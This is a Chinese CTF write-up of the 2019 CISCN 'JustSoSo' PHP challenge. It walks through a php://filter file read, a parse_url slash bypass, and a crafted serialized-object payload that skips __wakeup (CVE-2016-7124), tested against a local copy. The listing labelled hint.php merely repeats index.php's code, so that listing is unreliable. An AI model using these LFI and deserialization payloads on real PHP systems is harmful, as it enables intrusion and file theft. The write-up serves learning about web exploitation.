JustSoSo复现
这个题目又碰到了,所以复现一下,过程中又学到了很多东西,记录记录
题目环境
2019国赛线上的一个题目JustSoSo,总共三个文件:index.php,hint.php,flag.php,贴一下源码
index.php
<html><?phperror_reporting(0);$file = $_GET["file"];$payload = $_GET["payload"];if(!isset($file)){echo 'Missing parameter'.'<br>';}if(preg_match("/flag/",$file)){die('hack attacked!!!');}@include($file);if(isset($payload)){$url = parse_url($_SERVER['REQUEST_URI']);parse_str($url['query'],$query);print_r($query);foreach($query as $value){if (preg_match("/flag/",$value)) {die('stop hacking!');exit();}}$payload = unserialize($payload);}else{echo "Missing parameters";}?><!--Please test index.php?file=xxx.php --><!--Please get the source of hint.php-->
</html>
hint.php
<html><?phperror_reporting(0);$file = $_GET["file"];$payload = $_GET["payload"];if(!isset($file)){echo 'Missing parameter'.'<br>';}if(preg_match("/flag/",$file)){die('hack attacked!!!');}@include($file);if(isset($payload)){$url = parse_url($_SERVER['REQUEST_URI']);parse_str($url['query'],$query);print_r($query);foreach($query as $value){if (preg_match("/flag/",$value)) {die('stop hacking!');exit();}}$payload = unserialize($payload);}else{echo "Missing parameters";}?><!--Please test index.php?file=xxx.php --><!--Please get the source of hint.php-->
</html>
flag.php,这里是自己编的
<?php
$flag = "just_so_so";
?>
解题过程
index.php
在index.php的注释中,会发现存在LFI
,还有hint.php,所以通过filter伪协议
读取文件index.php,hint.php,flag因为被过滤了,所以不能直接读取,否则这题也没啥意思。
php://filter/read=convert.base64-encode/recource=index.php
首先看index.php,传入file和payload两个参数,加上过滤,然后include($file)
(这个可以用来包含hint.php)。接下来对我们传入的参数进行正则匹配,过滤了flag。parse_url
函数存在漏洞,可以多加上//
进行绕过,使得该函数获取的返回值为空。具体可以参考:parse_url函数小记
在index.php的最后是反序列化。
hint.php
在hint.php中,两个类Handle
和Flag
,看到Flag类中的函数getFlag
,这应该就是突破点,当$file=flag.php时,就可以读取flag
利用过程:构造一个Handle类对象a,然后对象a中handle值指向一个Flag类对象b,同时b的token和token_flag值是相同的(因为两个变量都是md5随机数,所以使用地址),为了防止__wakeup()函数将参数都置为空,需要修改变量数量,避免执行__wakeup()函数
payload
<?php
class Handle{ private $handle; public function __construct($handle) {$this->handle = $handle;}
}class Flag{public $file;public $token;public $token_flag;function __construct($file){$this->file = $file;}
}
$b = new Flag("flag.php");
$b->token = &$b->token_flag;
$a = new Handle($b);
echo serialize($a);
运行结果:
O:6:"Handle":1:{s:14:"Handlehandle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
但是需要修改变量数量,将1改为2即可;同时注意s:14:"Handlehandle";
,虽然看起来只有12个字符,但是该成员属性为private,序列化后,会在Handle
前后加上0x00,故长度为14=12+2.在传参的时候,要记着进行编码,所以payload是
O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
再加上之前的file,我这里复现题目放在justsoso文件夹内了,所以url多了一个目录
http://127.0.0.1///justsoso/index.php?file=hint.php&payload=O:6:%22Handle%22:2:{s:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:{s:4:%22file%22;s:8:%22flag.php%22;s:5:%22token%22;N;s:10:%22token_flag%22;R:4;}}
复现过程中可能遇到的一点问题
在这个复现的过程中,遇到了点php版本的问题,学长帮忙解决了,自己还是太菜了,按照代码执行过程说下两个问题吧
首先,代码会执行到index.php中的parse_url
,然后会在hint.php
中,执行$this->handle->getFlag();
,这两个地方根据php版本的不同得到的结果也不同。
parse_url
///
可以绕过,使得parse_rul返回false,但是有php版本的限制
为了测试,我在index.php中加了一行代码
为了方便,用的phpstudy,方便切换php版本
在php5.6.59及以下,回显Array()
在php7.0.9中,就不适用了,回显stop hacking
而在php7.3.4中,回显
但是没有flag,这就是另一个问题了
$this->handle->getFlag();
CVE-2016-7124
所以特地将代码重新切分,摘出一个test.php出来,将parse_url去掉
<?php
class Handle{ private $handle; public function __wakeup(){foreach(get_object_vars($this) as $k => $v) {$this->$k = null;}echo "Waking up\n";}public function __construct($handle) { $this->handle = $handle; } public function __destruct(){echo "1111111";$this->handle->getFlag();}
}class Flag{public $file;public $token;public $token_flag;function __construct($file){$this->file = $file;$this->token_flag = $this->token = md5(rand(1,10000));}public function getFlag(){echo "2222";$this->token_flag = md5(rand(1,10000));if($this->token === $this->token_flag){if(isset($this->file)){echo "3333";echo $this->file;echo @highlight_file($this->file, true);} }
}
}
$payload = $_GET["payload"];
unserialize($payload);
在php7.0.9以前及php5.x中,可以执行
在php7.3.4及以上中,修复了上面的漏洞,啥都没回显
综上,php版本最好是5.x,才能够比较顺利的复现
JustSoSo复现相关推荐
- 2019CISCN web题赛-JustSoSo;love_math(复现)
0x00前言 这几天从网上找个CMS源码开始练习审计,盯着众多的代码debug调呀调头晕脑胀的,还不错找到个文件读取和一个ssrf... 上月底结束的CISCN线上赛,web四道,仔细研究的2道,做出 ...
- 2019年CTF4月比赛记录(三):SUSCTF 2nd、DDCTF、国赛线上初赛部分Web题目writeup与复现
四月中旬以来事情还是蛮多的,先捋一捋: 首先有幸参加了东南大学承办的SUSCTF 2nd,虽然比赛的规模不是很大,但是这也是第一次以小组的方式正式参加比赛,也是对前期学习成果的检验.在同组成员的努(带 ...
- Facebook 发布深度学习工具包 PyTorch Hub,让论文复现变得更容易
近日,PyTorch 社区发布了一个深度学习工具包 PyTorchHub, 帮助机器学习工作者更快实现重要论文的复现工作.PyTorchHub 由一个预训练模型仓库组成,专门用于提高研究工作的复现性以 ...
- 【目标检测】yolo系列:从yolov1到yolov5之YOLOv1详解及复现
检测器通常能够被分为两类,一类是two-stage检测器,最具代表的为faster R-CNN:另一类是one-stage检测器,包括YOLO,SSD等.一般来说,two-stage检测器具有高定位和 ...
- CV算法复现(分类算法2/6):AlexNet(2012年 Hinton组)
致谢:霹雳吧啦Wz:https://space.bilibili.com/18161609 目录 致谢:霹雳吧啦Wz:https://space.bilibili.com/18161609 1 本次要 ...
- 【神经网络】(17) EfficientNet 代码复现,网络解析,附Tensorflow完整代码
各位同学好,今天和大家分享一下如何使用 Tensorflow 复现 EfficientNet 卷积神经网络模型. EfficientNet 的网络结构和 MobileNetV3 比较相似,建议大家在学 ...
- 【神经网络】(16) MobileNetV3 代码复现,网络解析,附Tensorflow完整代码
各位同学好,今天和大家分享一下如何使用 Tensorflow 构建 MobileNetV3 轻量化网络模型. MobileNetV3 做了如下改动(1)更新了V2中的逆转残差结构:(2)使用NAS搜索 ...
- 【神经网络】(15) Xception 代码复现,网络解析,附Tensorflow完整代码
各位同学好,今天和大家分享一下如何使用 Tensorflow 构建 Xception 神经网络模型. 在前面章节中,我已经介绍了很多种轻量化卷积神经网络模型,感兴趣的可以看一下:https://blo ...
- 【神经网络】(14) MnasNet 代码复现,网络解析,附Tensorflow完整代码
各位同学好,今天和大家分享一下如何使用 Tensorflow 复现谷歌轻量化神经网络 MnasNet 通常而言,移动端(手机)和终端(安防监控.无人驾驶)上的设备计算能力有限,无法搭载庞大的神经网络 ...
最新文章
- 如何让li中的标签内容横向排列
- 个人银行账户管理程序
- NLP入门必知必会(一):Word Vectors
- YUM(Yellow gog Updater Modifie)服务器的配置
- linux下mkdir
- Linux之cmake3.6安装
- 通讯接口应用笔记2:MAX3160实现多协议通讯
- AxonFramework,存储库
- 从字节码看java中 this 的隐式传参
- c mysql dll_PHP5.3以上版本没有libmysql.dll,以及由此带来的困扰
- 调用阿里API创建阿里云主机
- jsoup Cookbook(中文版)
- springboot+jsp校园美食餐厅订餐系统
- NX二次开发-BlockUI对话框嵌套MFC对话框制作进度条
- 服务器Socket概述与实例
- 博客网站怎么做,怎样建立一个自己的网站
- android 内存分析工具ASAN 学习
- 《今日简史》PDF/非mobi epub
- WordPress Avada主题评测:非常受欢迎但值得吗? (2022)
- 第四次计算革命孕育“数字经济体”
热门文章
- 力扣(350.121)补9.3
- 这款App连夜被下架!
- 小武告诉滨滨每天可以吃一块或者两块巧克力。假设滨滨每天都吃巧克力,问滨滨共有多少种不同的吃完巧克力的方案。
- 上半年要写的博客文章29
- 驱动辅助资料(工具,目录,指令,debug经验)
- 极路由1S升级系统之后再刷机学习记录
- 【嵌入式Linux应用】初步移植MQTT到Ubuntu和Linux开发板
- 浙江大学计算机2020分数线,2021年浙江大学录取分数线(含2019-2020分数线)
- React+阿里云Aliplayer播放器实现rtmp直播(推流时间差,重启播放器,计时观看)
- web可嵌入编辑器汇总